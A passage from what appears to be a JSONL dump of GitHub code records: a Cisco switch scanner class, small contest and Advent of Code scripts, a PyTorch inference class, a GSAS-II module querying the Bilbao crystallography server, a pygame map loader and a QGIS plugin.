:type blacklist: list(str)\n\n Either whitelist or blacklist can be passed.\n If both are passed, whitelist takes precedence over blacklist.\n\n Valid values are:\n - 'mac_address'\n - 'interface_status'\n - 'cdp_neighbors'\n - 'lldp_neighbors'\n - 'vtp'\n - 'vlans'\n - 'l3_int'\n - 'local_admins'\n - 'inventory'\n\n Running config is ALWAYS returned\n \"\"\"\n\n allscans = ['mac_address', 'interface_status',\n 'cdp_neighbors', 'lldp_neighbors', 'vtp', 'vlans', 'l3_int', 'local_admins', 'inventory']\n scan_to_perform = []\n\n if whitelist is not None:\n for i in whitelist:\n assert i in allscans, \"Parameter not recognised in scan list. has to be any of ['mac_address', 'interface_status', 'cdp_neighbors', 'lldp_neighbors', 'vtp', 'vlans', 'l3_int', 'local_admins', 'inventory']\"\n\n scan_to_perform = whitelist\n\n elif blacklist is not None:\n scan_to_perform = allscans\n for i in blacklist:\n assert i in allscans, \"Parameter not recognised in scan list. has to be any of ['mac_address', 'interface_status', 'cdp_neighbors', 'lldp_neighbors', 'vtp', 'vlans', 'l3_int', 'local_admins', 'inventory']\"\n scan_to_perform.remove(i)\n\n else:\n scan_to_perform = allscans\n\n self.facts = self.session.get_facts()\n\n try:\n self.hostname = self.facts['fqdn'].replace(\n \".not set\", \"\") if self.facts['fqdn'] != 'Unknown' else self.facts['hostname']\n except KeyError:\n pass\n\n self.init_time = datetime.datetime.now()\n\n self.config = self.session.get_config(retrieve=\"running\")['running']\n\n self._parse_config()\n\n if 'mac_address' in scan_to_perform:\n # Get mac address table\n self.mac_table = {} # Clear before adding new data\n mactable = self.session.get_mac_address_table()\n\n macdict = {EUI(x['mac']): x for x in mactable}\n\n for k, v in macdict.items():\n if v['interface'] == '':\n continue\n\n v['interface'] = interface_name_expander(v['interface'])\n\n v.pop('mac')\n v.pop('static')\n v.pop('moves')\n v.pop('last_move')\n v.pop('active')\n\n try:\n # some interfaces have diFFeRenT capitalization across outputs\n v['interface'] = {k.lower(): v for k, v in self.interfaces.items()}[\n v['interface'].lower()]\n self.mac_table[k] = v\n except KeyError:\n # print(\"Interface {} not found\".format(v['interface']))\n continue\n\n # Count macs per interface\n for _, data in self.mac_table.items():\n try:\n data['interface'].mac_count += 1\n except KeyError:\n pass\n\n if 'interface_status' in scan_to_perform:\n # Get interface status\n self._parse_show_interface()\n\n if 'cdp_neighbors' in scan_to_perform:\n self._parse_cdp_neighbors()\n\n if 'lldp_neighbors' in scan_to_perform:\n self._parse_lldp_neighbors()\n\n if 'vtp' in scan_to_perform:\n # Get VTP status\n command = \"show vtp status\"\n result = self.session.cli([command])\n\n self.vtp = result[command]\n\n if 'vlans' in scan_to_perform:\n # Get VLANs\n self.vlans = self.session.get_vlans()\n self.vlans_set = set([int(k) for k, v in self.vlans.items()])\n\n if 'l3_int' in scan_to_perform:\n # Get l3 interfaces\n self.interfaces_ip = self.session.get_interfaces_ip()\n self.arp_table = self.session.get_arp_table()\n\n if 'local_admins' in scan_to_perform:\n # Get local admins\n self.local_admins = self.session.get_users()\n\n if 'inventory' in scan_to_perform:\n # Get inventory\n self.inventory = self._parse_inventory()\n\n def _parse_inventory(self):\n command = \"show inventory\"\n showinventory = self.session.cli([command])[command]\n\n fsmpath = os.path.dirname(os.path.realpath(\n __file__)) + \"/textfsm_templates/show_inventory.textfsm\"\n with open(fsmpath, 'r') as fsmfile:\n try:\n re_table = textfsm.TextFSM(fsmfile)\n fsm_results = re_table.ParseTextToDicts(showinventory)\n except Exception as e:\n self.logger.error(\"Textfsm parsing error %s\", e)\n return {}\n\n result = {}\n for i in fsm_results:\n result[i['name']] = {'descr': i['descr'],\n 'pid': i['pid'],\n 'vid': i['vid'],\n 'sn': i['sn'],\n }\n\n return result\n\n def _parse_show_interface(self):\n \"\"\"Parse output of show inteface with greater data collection than napalm\"\"\"\n self.session.device.write_channel(\"show interface\")\n self.session.device.write_channel(\"\\n\")\n self.session.device.timeout = 30 # Could take ages...\n showint = self.session.device.read_until_prompt(max_loops=3000)\n fsmpath = os.path.dirname(os.path.realpath(\n __file__)) + \"/textfsm_templates/show_interface.textfsm\"\n with open(fsmpath, 'r') as fsmfile:\n try:\n re_table = textfsm.TextFSM(fsmfile)\n fsm_results = re_table.ParseTextToDicts(showint)\n except Exception as e:\n self.logger.error(\"Show interface parsing failed %s\", e)\n return None\n\n for intf in fsm_results:\n if intf['name'] in self.interfaces:\n for k, v in intf.items():\n if k in ('last_in', 'last_out', 'last_out_hang', 'last_clearing'):\n val = self._cisco_time_to_dt(v)\n setattr(self.interfaces[intf['name']], k, val)\n self.logger.debug(\n \"Set attribute %s to %s for %s\", k, val, intf['name'])\n elif k == 'is_enabled':\n val = False if 'administratively' in v else True\n setattr(self.interfaces[intf['name']], k, val)\n self.logger.debug(\n \"Set attribute %s to %s, parsed value: %s for %s\", k, val, v, intf['name'])\n elif k == 'is_up':\n val = True if 'up' in v else False\n setattr(self.interfaces[intf['name']], k, val)\n setattr(\n self.interfaces[intf['name']], 'protocol_status', v)\n self.logger.debug(\n \"Set attribute %s to %s, parsed value: %s for %s\", k, val, v, intf['name'])\n else:\n setattr(self.interfaces[intf['name']], k, v)\n self.logger.debug(\n \"Set attribute %s to %s for %s\", k, v, intf['name'])\n else:\n # Sometimes multi-type interfaces appear in one command and not in another\n newint = Interface(name=intf['name'])\n self.add_interface(newint)\n self.logger.info(\n \"Creating new interface %s not found previously\", intf['name'])\n\n def _parse_cdp_neighbors(self):\n \"\"\"Ask for and parse CDP neighbors\"\"\"\n self.session.device.write_channel(\"show cdp neigh detail\")\n self.session.device.write_channel(\"\\n\")\n self.session.device.timeout = 30 # Could take ages...\n neighdetail = self.session.device.read_until_prompt(max_loops=3000)\n fsmpath = os.path.dirname(os.path.realpath(\n __file__)) + \"/textfsm_templates/show_cdp_neigh_detail.textfsm\"\n with open(fsmpath, 'r') as fsmfile:\n try:\n re_table = textfsm.TextFSM(fsmfile)\n fsm_results = re_table.ParseTextToDicts(neighdetail)\n except Exception as e:\n self.logger.error(\"Show cdp neighbor parsing failed %s\", e)\n return None\n\n for result in fsm_results:\n self.logger.debug(\"Found CDP neighbor %s IP %s local int %s, remote int %s\",\n result['dest_host'], result['mgmt_ip'], result['local_port'], result['remote_port'])\n\n for nei in fsm_results:\n try:\n address = ipaddress.ip_address(nei['mgmt_ip'])\n except ValueError:\n address = None\n\n neigh_data = {'hostname': nei['dest_host'],\n 'ip': address,\n 'platform': nei['platform'],\n 'remote_int': nei['remote_port']\n }\n\n self.interfaces[nei['local_port']].neighbors.append(neigh_data)\n\n def _parse_lldp_neighbors(self):\n \"\"\"Ask for and parse LLDP neighbors\"\"\"\n self.session.device.write_channel(\"show lldp neigh detail\")\n self.session.device.write_channel(\"\\n\")\n self.session.device.timeout = 30 # Could take ages...\n neighdetail = self.session.device.read_until_prompt(max_loops=3000)\n\n fsmpath = os.path.dirname(os.path.realpath(\n __file__)) + \"/textfsm_templates/show_lldp_neigh_detail.textfsm\"\n with open(fsmpath, 'r') as fsmfile:\n try:\n re_table = textfsm.TextFSM(fsmfile)\n fsm_results = re_table.ParseTextToDicts(neighdetail)\n except Exception as e:\n self.logger.error(\"Show lldp neighbor parsing failed %s\", e)\n return None\n\n for result in fsm_results:\n self.logger.debug(\"Found LLDP neighbor %s IP %s local int %s, remote int %s\",\n result['neighbor'], result['mgmt_ip'], result['local_port'], result['remote_port'])\n\n for nei in fsm_results:\n try:\n address = ipaddress.ip_address(nei['mgmt_ip'])\n except ValueError:\n address = None\n continue\n\n if nei['local_port'] == '':\n continue\n\n # No hostname\n if nei['neighbor'] == '':\n continue\n\n neigh_data = {'hostname': nei['neighbor'],\n 'ip': address,\n 'platform': nei['system_description'],\n 'remote_int': nei['remote_port_id']\n }\n\n self.interfaces[interface_name_expander(\n nei['local_port'])].neighbors.append(neigh_data)\n\n def _cisco_time_to_dt(self, time: str) -> datetime.datetime:\n \"\"\"Converts time from now to absolute, starting when Switch object was initialised\n\n :param time: Cisco diff time (e.g. '00:00:01' or '5w4d')\n :param type: str\n\n :return: Absolute time\n :rtype: datetime.datetime\n \"\"\"\n weeks = 0\n days = 0\n hours = 0\n minutes = 0\n seconds = 0\n\n if time == 'never' or time == '':\n # TODO: return uptime\n return datetime.datetime(1970, 1, 1, 0, 0, 0)\n\n if ':' in time:\n hours, minutes, seconds = time.split(':')\n hours = int(hours)\n minutes = int(minutes)\n seconds = int(seconds)\n\n elif 'y' in time:\n # 2y34w\n years, weeks = time.split('y')\n weeks = weeks.replace('w', '')\n years = int(years)\n weeks = int(weeks)\n\n weeks = years*54 + weeks\n\n elif 'h' in time:\n # 3d05h\n days, hours = time.split('d')\n hours = hours.replace('h', '')\n\n days = int(days)\n hours = int(hours)\n\n else:\n # 24w2d\n weeks, days = time.split('w')\n days = days.replace('d', '')\n\n weeks = int(weeks)\n days = int(days)\n\n delta = datetime.timedelta(weeks=weeks, days=days, hours=hours,\n minutes=minutes, seconds=seconds)\n\n return self.init_time - delta\n\n def __str__(self):\n \"\"\"Return switch config from hostname and interfaces\n\n :return: Switch \"show run\" from internal data\n :rtype: str\"\"\"\n showrun = f\"! {self.hostname}\"\n\n try:\n showrun = showrun + f\" {self.hostname}\\n\"\n except (AttributeError, KeyError):\n showrun = showrun + \"\\n\"\n\n showrun = showrun + \"!\\n\"\n\n for intname, intdata in self.interfaces.items():\n showrun = showrun + str(intdata)\n\n return showrun\n","repo_name":"icovada/netwalk","sub_path":"netwalk/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":22094,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"62"} +{"seq_id":"18915358089","text":"from typing import List\nfrom collections import defaultdict\n\n\ndef reading_input() -> List[str]:\n count_numbers = int(input())\n result_array = []\n for i in range(count_numbers):\n string_array = input()\n result_array.append(string_array)\n return result_array\n\n\ndef sum_clien_time_in_log(raw_string: List[str]) -> List[int]:\n dict_client = defaultdict(list)\n for raw in raw_string:\n row = raw.split(\" \")\n all_minutes = int(row[0]) * 1440 + int(row[1]) * 60 + int(row[2])\n dict_client[int(row[3])].append([all_minutes, row[4]])\n sorted_dict = dict(sorted(dict_client.items(), key=lambda x: x[0]))\n result = []\n start_point, end_point = 0, 0\n for key, value in sorted_dict.items():\n key_results = []\n sorted_lists = sorted(value, key=lambda student: student[0])\n for row in sorted_lists:\n if row[1] == \"A\":\n start_point = row[0]\n if row[1] == \"C\" or row[1] == \"S\":\n end_point = row[0] - start_point\n key_results.append(end_point)\n result.append(sum(key_results))\n return result\n\n\ndef print_result(array: List[int]):\n string = \" \".join(map(str, array))\n print(string)\n\n\nif __name__ == \"__main__\":\n lists_client_log = reading_input()\n result = sum_clien_time_in_log(lists_client_log)\n print_result(result)\n","repo_name":"budaevdigital/LeetCode","sub_path":"contest/winter-2022/02-task/02-task.py","file_name":"02-task.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14067781555","text":"import os\n\nimport torch\nfrom torchvision import transforms\n\nfrom bases.infer_base import InferBase\nfrom root_dir import MODELS_DIR\n\n\nclass MyInfer(InferBase):\n def __init__(self, model_path, config=None):\n super(MyInfer, self).__init__(config)\n self.model = self.load_model(model_path)\n\n self.trans = transforms.Compose([\n transforms.Resize(224),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\n def load_model(self, model_path):\n model = torch.load(model_path, map_location='cpu')\n model.eval()\n return model\n\n def predict(self, data):\n img_torch = self.trans(data) # 标准变换\n print(\"[Info] 变换之后的图像: {}\".format(img_torch.shape))\n\n img_torch = torch.unsqueeze(img_torch, 0).to(torch.device(\"cpu\"))\n print(\"[Info] 增加1维: {}\".format(img_torch.shape))\n\n return self.model(img_torch)[0]\n","repo_name":"SpikeKing/classification-pytorch","sub_path":"infers/my_infer.py","file_name":"my_infer.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72663797317","text":"#creation d'une liste de contact\r\n\r\ncontinuer = 'y' #le y est pour yes et le n sera pour no\r\nliste_de_contact = [] #la lsite est vide au depart \r\n\r\nwhile continuer == 'y':\r\n contact_a_ajouter=input('Entrez le contact a ajouter: ')\r\n \r\n if contact_a_ajouter.lower() in[contact[0].lower() for contact in liste_de_contact]:\r\n print('{0} a deja ete ajouter dans votre contact' .format(contact_a_ajouter))\r\n else:\r\n telephone=int(input('Entrez le numero du contact: '))\r\n liste_de_contact.append((contact_a_ajouter, telephone)) #utilisation de turple\r\n continuer= input('Voulez-vous ajouter un autre contact? y/n: ')\r\n print('')\r\n\r\nliste_de_contact.sort() #pour avoir la liste en ordre alphabetique\r\nprint(liste_de_contact)","repo_name":"Uzumakos/Portofolio","sub_path":"PORTO/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20447700284","text":"# -*- coding: utf-8 -*-\n\"\"\"\n*kSUBGROUPSMAG: Interface to Bilbao k-SUBGROUPSMAG web page*\n-------------------------------\n\nExtraction of magnetic space groups for a given space group and a propagation vector\nfrom the k-SUBGROUPSMAG web page on the Bilbao Crystallographic server\n\n\"\"\"\n########### SVN repository information ###################\n# $Date: 2020-03-20 00:51:52 +0900 (金, 20 3月 2020) $\n# $Author: toby $\n# $Revision: 4374 $\n# $URL: https://subversion.xray.aps.anl.gov/pyGSAS/trunk/kSUBGROUPSMAG.py $\n# $Id: kSUBGROUPSMAG.py 4374 2020-03-19 15:51:52Z toby $\n########### SVN repository information ###################\nfrom __future__ import division, print_function\ntry:\n import HTMLParser as HTML\nexcept ImportError: \n import html.parser as HTML # Python 3\nimport GSASIIspc as G2spc\nimport GSASIIIO as G2IO\nimport GSASIIpath\nGSASIIpath.SetBinaryPath()\nsubmagSite = 'https://www.cryst.ehu.es/cgi-bin/cryst/programs/subgrmag1_k.pl'\n\nclass TableParser(HTML.HTMLParser):\n def __init__(self):\n HTML.HTMLParser.__init__(self)\n self.spgp = ''\n self.in_sp = False\n self.in_pre = False\n self.in_sub = False\n self.MV = ''\n self.BNS = ''\n self.beg = False\n self.SPGPs = []\n self.MVs = []\n self.BNSs = []\n \n def handle_starttag(self, tag, attrs):\n# print('tag:',tag,self.beg,self.in_sp)\n if tag == 'i' and self.beg:\n if not self.in_sp:\n self.in_sp = True\n self.spgp = ''\n self.BNS = ''\n elif tag == 'pre':\n self.in_pre = True\n self.MV = ''\n elif tag == 'sub':\n self.in_sub = True\n \n def handle_data(self, data):\n# print('*',data)\n if self.in_sp:\n if 'No.' in data:\n self.spgp += data.split('(')[0] #pick up trailing number!\n self.in_sp = False\n self.SPGPs.append(self.spgp)\n self.BNSs.append(self.BNS)\n# print('space group:',self.spgp,' BNS: ',self.BNS)\n else:\n if self.in_sub and len(self.spgp) == 1:\n self.spgp += '_'\n self.spgp += data\n if len(self.spgp) == 3 and '_' in self.spgp:\n self.spgp += ' '\n self.BNS = data\n if 'P_S' in self.spgp: #fix ambiguous std. symbol for triclinics\n self.spgp.replace('_S','_c')\n self.BNS = 'c'\n# print(self.spgp,self.BNS)\n if self.in_pre:\n self.MV = data\n \n def handle_endtag(self, tag):\n# print (' end tag: %s'%(tag))\n if tag == 'script':\n self.beg = True\n elif tag == 'pre':\n self.in_pre = False\n MV = self.MV.split()\n MV = ['[[%s,%s,%s],[%s,%s,%s],[%s,%s,%s]]'%(MV[0],MV[4],MV[8],MV[1],MV[5],MV[9],MV[2],MV[6],MV[10]),'[%s.,%s.,%s.]'%(MV[3],MV[7],MV[11])]\n self.MVs.append(MV)\n# print('MV:',self.MV)\n elif tag == 'sub':\n self.in_sub = False\n \ndef GetNonStdSubgroupsmag(SGData, kvec,star=False,landau=False,maximal=False):\n '''Run Bilboa's k-Subgroupsmag for a non-standard space group. \n This requires doing a post to the Bilboa site, which returns all\n magnetic subgroups of the entered subgroup as the text of a web page \n with a table containing the BNS magnetic space group symbol, the \n transformation matrix and index for each subgroup.\n\n :params list kvec: propogation vector as a list of three numbers\n :params SGData: space group object (see :ref:`Space Group object`) \n\n :returns: (error,text) error: if True no error or False; where \n text containts a possible web page text\n '''\n print('''\n For use of k-SUBGROUPSMAG, please cite:\n Symmetry-Based Computational Tools for Magnetic Crystallography,\n J.M. Perez-Mato, S.V. Gallego, E.S. Tasci, L. Elcoro, G. de la Flor, and M.I. Aroyo\n Annu. Rev. Mater. Res. 2015. 45,217-48.\n doi: 10.1146/annurev-matsci-070214-021008\n ''')\n starmag = 'no'\n if star:\n starmag = 'yes'\n land = 'no'\n if landau:\n land = 'yes'\n celtodas = 'no'\n limite = 'spgroup'\n if maximal:\n limite = 'maximal'\n postdict = {'centrosymmetry':'0','crystalsystem':'0','landau':land,\n 'eleccion':'subgrmag1_k','inicio':'nostandard','celtodas':celtodas,\n 'limite':limite,'list':'Submit','listado':'lista','starmagnetica':starmag,\n 'pointgroup':'0','polarity':'0','sub':'1.1',\n 'super':'','tipog':'gmag','wyckoffstrain':''}\n text,table = G2spc.SGPrint(SGData)\n OpList = G2spc.TextOps(text,table,reverse=True)\n# GenList = G2spc.TextGen(SGData,reverse=True)\n for item in OpList:\n item += '\\n'\n sym = \"\"\n for i in OpList:\n if sym: sym += '\\n'\n #if sym: sym += ' ' # use this for testing to generate an error in place of previous\n sym += i.lower()\n postdict['generators'] = sym\n for j in [1,2,3]:\n if kvec[3*j-3] == ' ':\n break\n for i,k in zip(('x','y','z'),kvec[3*j-3:3*j]):\n postdict['km%d%s'%(j,i)] = k\n page = G2IO.postURL(submagSite,postdict)\n if not page:\n print('connection error - not on internet?')\n return None,None\n page = page.replace('','-')\n p = TableParser()\n p.feed(page)\n nItms = len(p.MVs)\n result = list(zip(p.SPGPs,p.BNSs,p.MVs,range(nItms),nItms*[[],],nItms*['[]',]))\n return result,range(nItms)\n\ndef GetNonStdSubgroups(SGData, kvec,star=False,landau=False,maximal=False):\n '''Run Bilboa's SUBGROUPS for a non-standard space group. \n This requires doing a post to the Bilboa site, which returns all\n subgroups of the entered space group as the text of a web page \n with a table containing the space group symbol, the \n transformation matrix and index for each subgroup.\n\n :params list kvec: propogation vector as a list of nine string fractions or blank\n :params SGData: space group object (see :ref:`Space Group object`) \n\n :returns: (error,text) error: if True no error or False; where \n text containts a possible web page text\n '''\n print('''\n For use of SUBGROUPS, please cite:\n Symmetry-Based Computational Tools for Magnetic Crystallography,\n J.M. Perez-Mato, S.V. Gallego, E.S. Tasci, L. Elcoro, G. de la Flor, and M.I. Aroyo\n Annu. Rev. Mater. Res. 2015. 45,217-48.\n doi: 10.1146/annurev-matsci-070214-021008\n ''')\n starmag = 'no'\n if star:\n starmag = 'yes'\n land = 'no'\n if landau:\n land = 'yes'\n celtodas = 'no'\n limite = 'spgroup'\n if maximal:\n limite = 'maximal'\n postdict = {'centrosymmetry':'0','crystalsystem':'0','landau':land,\n 'eleccion':'subgrmag1_k','inicio':'nostandard','celtodas':celtodas,\n 'limite':limite,'list':'Submit','listado':'lista','starmagnetica':starmag,\n 'pointgroup':'0','polarity':'0','sub':'1',\n 'super':'','tipog':'gesp','wyckoffstrain':''}\n text,table = G2spc.SGPrint(SGData)\n OpList = G2spc.TextOps(text,table,reverse=True)\n# GenList = G2spc.TextGen(SGData,reverse=True)\n for item in OpList:\n item += '\\n'\n sym = \"\"\n for i in OpList:\n if sym: sym += '\\n'\n #if sym: sym += ' ' # use this for testing to generate an error in place of previous\n sym += i.lower()\n postdict['generators'] = sym\n for j in [1,2,3]:\n if kvec[3*j-3] == ' ':\n break\n for i,k in zip(('x','y','z'),kvec[3*j-3:3*j]):\n postdict['knm%d%s'%(j,i)] = k\n if not page:\n print('connection error - not on internet?')\n return None,None\n page = page.replace('','-')\n p = TableParser()\n p.feed(page)\n nItms = len(p.MVs)\n result = list(zip(p.SPGPs,p.MVs,range(nItms),range(nItms),nItms*[0,]))\n return result,range(nItms)\n\ndef test():\n SGData = G2spc.SpcGroup('p -3 m 1')[1]\n results,baseList = GetNonStdSubgroupsmag(SGData,('1/3','1/3','1/2',' ',' ',' ',' ',' ',' ',' '))\n if results:\n print(results)\n for [spgp,mv,bns,gid,altList,supList] in results.text:\n if gid in baseList:\n print('Space group:',spgp, 'BNS:',bns)\n print('MV')\n print(mv)\n results,baseList = GetNonStdSubgroupsmag(SGData,('1/3','1/3','1/2',' ',' ',' ',' ',' ',' ',' '))\n if results:\n for [spgp,mv,gid,altList,supList] in results.text:\n if gid in baseList:\n print('Space group:',spgp)\n print('MV')\n print(mv)\n \n\nif __name__ == '__main__':\n # run self-tests\n selftestquiet = False\n test()\n print (\"OK\")\n","repo_name":"pedrobcst/Xerus","sub_path":"Xerus/GSASII/kSUBGROUPSMAG.py","file_name":"kSUBGROUPSMAG.py","file_ext":"py","file_size_in_byte":8974,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"62"} +{"seq_id":"41031246813","text":"import pygame\nfrom data.system_dir.CONST import TILE_WH, TILE_SPRITES\n\n\nclass Tile(pygame.sprite.Sprite): # создание тайла\n def __init__(self, pos_x, pos_y, im):\n pygame.sprite.Sprite.__init__(self)\n self.image = im\n self.rect = self.image.get_rect()\n self.rect.x = pos_x\n self.rect.y = pos_y\n\n\nlvl_name = 'data/world_dir/map.txt'\n\n\ndef load_image(name): # рендерим изображение\n image = pygame.image.load(f'data/textures_dir/blocks/{name}').convert()\n image = image.convert_alpha()\n image = pygame.transform.scale(image, (TILE_WH, TILE_WH))\n return image\n\n\ndef load_level(filename): # читаем уровень из файла\n with open(filename, 'r') as mapFile:\n level_map = [line.strip().split() for line in mapFile]\n return level_map, len(level_map[0]), len(level_map)\n\n\ndef generate_level(): # выставляем тайлы на холст\n level_map, X, Y = load_level(lvl_name)\n world_map_conv = pygame.Surface((TILE_WH * X, TILE_WH * Y))\n for y in range(len(level_map)):\n for x in range(len(level_map[y])):\n TILE_SPRITES.add(Tile(TILE_WH * x, TILE_WH * y, load_image(tile_images[level_map[y][x]][0])))\n TILE_SPRITES.draw(world_map_conv)\n return world_map_conv\n\n\ntile_images = {\n 'd': ('dirt.jpg', 'ghost')\n}\n\n\"\"\" generate_level является конечной функцией \"\"\"\n","repo_name":"PythonInginer/CorruptedWorld2","sub_path":"data/world_dir/load_map_optimiz.py","file_name":"load_map_optimiz.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70804232519","text":"import re\r\nimport math\r\nwith open(\"Day21/input.txt\", \"r\") as f:\r\n l = f.read().splitlines()\r\n\r\ningr = {}\r\nallergens = {}\r\n\r\nfor j in l:\r\n x = j.split(\"(\")\r\n y = x[0].strip().split(\" \")\r\n i = set()\r\n for z in y:\r\n i.add(z)\r\n if ingr.get(z):\r\n ingr[z] += 1\r\n else:\r\n ingr[z] = 1\r\n a = x[1].strip()[9:-1].split(\",\")\r\n for b in a:\r\n b = b.strip()\r\n if allergens.get(b):\r\n allergens[b] = i.intersection(allergens[b])\r\n else:\r\n allergens[b] = i\r\n\r\n#print(allergens)\r\n\r\ndef removeexcept(k,val):\r\n rem = set()\r\n rem.add(val)\r\n for a in allergens.keys():\r\n if k != a:\r\n allergens[a] = set(allergens[a]).difference(rem)\r\n\r\nfor i in range(len(allergens)):\r\n for k in allergens.keys():\r\n if len(allergens[k]) == 1:\r\n removeexcept(k,set(allergens[k]).copy().pop())\r\n \r\n\r\n#print(allergens)\r\n\r\nallergen_ingr = set()\r\nfor a in allergens.values():\r\n allergen_ingr = allergen_ingr.union(a)\r\n \r\nnon_allergen = set(ingr.keys()).difference(allergen_ingr)\r\n\r\n#print(non_allergen)\r\nsumnon = 0\r\nfor n in non_allergen:\r\n sumnon += ingr[n]\r\n\r\nprint(\"part 1:\",sumnon)\r\n\r\nprint(\"part 2:\")\r\nak = list(allergens.keys())\r\nak.sort()\r\np2 = \"\"\r\nfor k in ak:\r\n p2 += allergens[k].pop() + \",\"\r\np2 = p2[:-1]\r\nprint(p2)","repo_name":"nicolasmeier/advofcode","sub_path":"2020/Day21/d21.py","file_name":"d21.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72193184837","text":"from qgis.PyQt import uic\nfrom qgis.PyQt.QtCore import pyqtSignal,Qt,QSettings,QUrl\nimport os\n\nfrom PyQt5.QtWidgets import QDataWidgetMapper,QDockWidget,QMenu,QMessageBox,QMenuBar\n\n#from . import marker\nfrom .sec_ch_widget import sec_ch_widget\nfrom qgis.utils import iface\nfrom qgis.PyQt.QtSql import QSqlTableModel\nfrom PyQt5.QtGui import QDesktopServices\n#from .database_dialog.database_dialog import database_dialog\n\nfrom . import networkModel,jcModel,delegates,databaseFunctions,databaseDialog\n\n\nuiPath=os.path.join(os.path.dirname(__file__), 'site_categorizer_dockwidget_base.ui')\nFORM_CLASS, _ = uic.loadUiType(uiPath)\n\njcCats = ['Q1','Q2','Q3','K']\n\n\nclass site_categoriserDockWidget(QDockWidget,FORM_CLASS):\n\n closingPlugin = pyqtSignal()\n\n def __init__(self, parent=None):\n super(site_categoriserDockWidget, self).__init__(parent)\n self.setupUi(self)\n self.addButton.clicked.connect(self.add)\n \n self.secChTool = sec_ch_widget.sec_ch_widget(self)\n self.main_widget.layout().insertWidget(0,self.secChTool)\n\n self.secChTool.sec_changed.connect(self.secChanged)\n self.initJcMenu() \n \n self.networkModel = None\n self.jcModel = None\n \n self.addBox.addItems(jcCats)\n\n self.connectDialog = databaseDialog.databaseDialog(parent=self,name='hsrr_processor_database')\n self.connectDialog.accepted.connect(self.connect)\n self.initTopMenu()\n self.disconnected()\n\n\n def initTopMenu(self):\n topMenu = QMenuBar()\n self.main_widget.layout().setMenuBar(topMenu)\n \n #database\n databaseMenu = topMenu.addMenu(\"Database\")\n connectAct = databaseMenu.addAction('Connect to Database...')\n connectAct.triggered.connect(self.connectDialog.show)\n self.setupAct = databaseMenu.addAction('Setup Database for site categories...')\n self.setupAct.triggered.connect(self.setupDatabase)\n \n #help\n helpMenu = topMenu.addMenu(\"Help\")\n openHelpAct = helpMenu.addAction('Open help (in your default web browser)')\n openHelpAct.triggered.connect(self.openHelp)\n \n\n\n def connect(self):\n\n db = self.connectDialog.getDb()\n\n if not db.isOpen():\n db.open()\n \n #these work with closed/invalid database. \n self.connectCategories(db)\n self.connectNetwork(db)\n self.connectJc(db)\n \n if db.isOpen():#connected \n self.setWindowTitle(db.databaseName()+' - site categorizer') \n self.setupAct.setEnabled(True)\n self.addButton.setEnabled(True)\n \n else: \n iface.messageBar().pushMessage('site categorizer: could not connect to database',duration=4)\n self.disconnected()\n\n \n \n def disconnected(self):\n self.setWindowTitle('Not connected - site categorizer')\n self.setupAct.setEnabled(False)\n self.addButton.setEnabled(False)\n \n\n def connectNetwork(self,db):\n self.networkModel = networkModel.networkModel(db=db,parent=self)\n self.mapper = QDataWidgetMapper(self)\n self.mapper.setModel(self.networkModel)\n self.mapper.setSubmitPolicy(QDataWidgetMapper.AutoSubmit)\n \n self.mapper.addMapping(self.one_way_box,self.networkModel.fieldIndex('one_way'))\n self.mapper.addMapping(self.note_edit,self.networkModel.fieldIndex('note'))\n self.mapper.addMapping(self.checked_box,self.networkModel.fieldIndex('checked'))\n \n\n def connectCategories(self,db):\n self.policyModel = QSqlTableModel(db=db)\n self.policyView.setModel(self.policyModel)\n self.policyModel.setTable('categorizing.categories')\n self.policyModel.setEditStrategy(QSqlTableModel.OnFieldChange) \n self.policyModel.setSort(self.policyModel.fieldIndex('pos'),Qt.AscendingOrder)\n self.policyModel.select()\n\n\n#when is this called? \n def closeEvent(self, event):\n print('closing plugin') \n del self.secChTool\n\n self.closingPlugin.emit()\n event.accept()\n\n\n \n#opens help/index.html in default browser\n def openHelp(self):\n help_path = os.path.join(os.path.dirname(__file__),'help','overview.html')\n help_path = 'file:///'+os.path.abspath(help_path)\n QDesktopServices.openUrl(QUrl(help_path))\n\n \n def connectJc(self,db):\n self.jcModel = jcModel.jcModel(parent=self,db=db)\n self.jcView.setModel(self.jcModel)\n self.jcView.hideColumn(self.jcModel.fieldIndex('geom'))\n self.jcView.hideColumn(self.jcModel.fieldIndex('pk'))\n self.jcModel.dataChanged.connect(lambda:self.jcModel.process(sec=self.secChTool.current_sec()))#reprocess section when jc table changed.\n \n self.jcView.setItemDelegateForColumn(self.jcModel.fieldIndex('category'),delegates.comboboxDelegate(self,items=jcCats))\n \n if self.secChTool.current_sec():\n self.secChanged(self.secChTool.current_sec())\n \n \n \n \n#find in network table. set mapper to row.\n\n \n def secChanged(self,sec):\n \n print(sec)\n \n if self.jcModel:\n self.jcModel.setFilter(\"sec='%s'\"%(sec))\n self.jcModel.select()\n \n \n \n if self.networkModel:\n \n if self.networkModel.database().isOpen():\n row = self.networkModel.find(self.networkModel.fieldIndex('sec'),sec)\n \n if row is None:#if not is true for 0\n iface.messageBar().pushMessage('site categorizer: section %s not found in network table'%(sec),duration=5)\n else:\n self.mapper.setCurrentIndex(row)\n \n else:\n iface.messageBar().pushMessage('site categorizer: not connected to database',duration=5)\n \n\n \n def add(self):\n sec = self.getSec()\n if sec and self.jcModel:\n self.jcModel.add(sec,self.secChTool.current_ch(),self.addBox.currentText())\n \n \n def getSec(self):\n sec=self.secChTool.current_sec()\n if sec:\n return sec\n iface.messageBar().pushMessage(\"site_categorizer: select a valid section before adding events.\",duration=4)\n \n \n def remove(self):\n rows = []\n for index in 